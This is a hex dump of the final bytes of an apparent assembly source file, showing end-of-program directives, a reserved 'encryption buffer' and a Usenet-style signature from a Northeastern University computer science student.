|00002320| 53 5f 53 49 5a 45 20 64 | 75 70 20 28 3f 29 20 20 |S_SIZE d|up (?) |
|00002330| 20 20 20 20 3b 20 65 6e | 63 72 79 70 74 69 6f 6e | ; en|cryption|
|00002340| 20 62 75 66 66 65 72 0a | 0a 65 6e 64 5f 68 65 61 | buffer.|.end_hea|
|00002350| 70 3a 0a 0a 4d 45 4d 5f | 53 49 5a 45 20 20 20 20 |p:..MEM_|SIZE |
|00002360| 20 20 20 20 65 71 75 20 | 20 20 20 20 65 6e 64 5f | equ | end_|
|00002370| 68 65 61 70 20 2d 20 73 | 74 61 72 74 0a 0a 63 6f |heap - s|tart..co|
|00002380| 64 65 20 20 20 20 20 20 | 20 20 20 20 20 20 65 6e |de | en|
|00002390| 64 73 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ds. | |
|000023a0| 20 20 20 65 6e 64 20 20 | 20 20 20 73 74 61 72 74 | end | start|
|000023b0| 0a 0a 0a 2d 2d 0a 45 72 | 69 63 20 22 4d 61 64 20 |...--.Er|ic "Mad |
|000023c0| 44 6f 67 22 20 4b 69 6c | 62 79 20 20 20 20 20 20 |Dog" Kil|by |
|000023d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000023e0| 20 20 20 20 20 20 20 20 | 20 20 20 6d 61 64 64 6f | | maddo|
|000023f0| 67 40 63 63 73 2e 6e 65 | 75 2e 65 64 75 0a 54 68 |g@ccs.ne|u.edu.Th|
|00002400| 65 20 47 72 65 61 74 20 | 53 70 6f 72 6b 65 75 73 |e Great |Sporkeus|
|00002410| 20 4d 61 78 69 6d 75 73 | 09 09 09 20 20 20 20 20 | Maximus|... |
|00002420| 65 6b 69 6c 62 79 40 6c | 79 6e 78 2e 64 61 63 2e |ekilby@l|ynx.dac.|
|00002430| 6e 65 75 2e 65 64 75 0a | 53 74 75 64 65 6e 74 20 |neu.edu.|Student |
|00002440| 61 74 20 74 68 65 20 4e | 6f 72 74 68 65 61 74 73 |at the N|ortheats|
|00002450| 74 65 72 6e 20 55 6e 69 | 76 65 72 73 69 74 79 20 |tern Uni|versity |
|00002460| 43 6f 6c 6c 65 67 65 20 | 6f 66 20 43 6f 6d 70 75 |College |of Compu|
|00002470| 74 65 72 20 53 63 69 65 | 6e 63 65 20 0a 22 49 20 |ter Scie|nce ."I |
|00002480| 43 61 6e 27 74 20 42 65 | 6c 69 65 76 65 20 49 74 |Can't Be|lieve It|
|00002490| 27 73 20 4e 6f 74 20 42 | 75 74 74 65 72 22 0a 0a |'s Not B|utter"..|
+--------+-------------------------+-------------------------+--------+--------+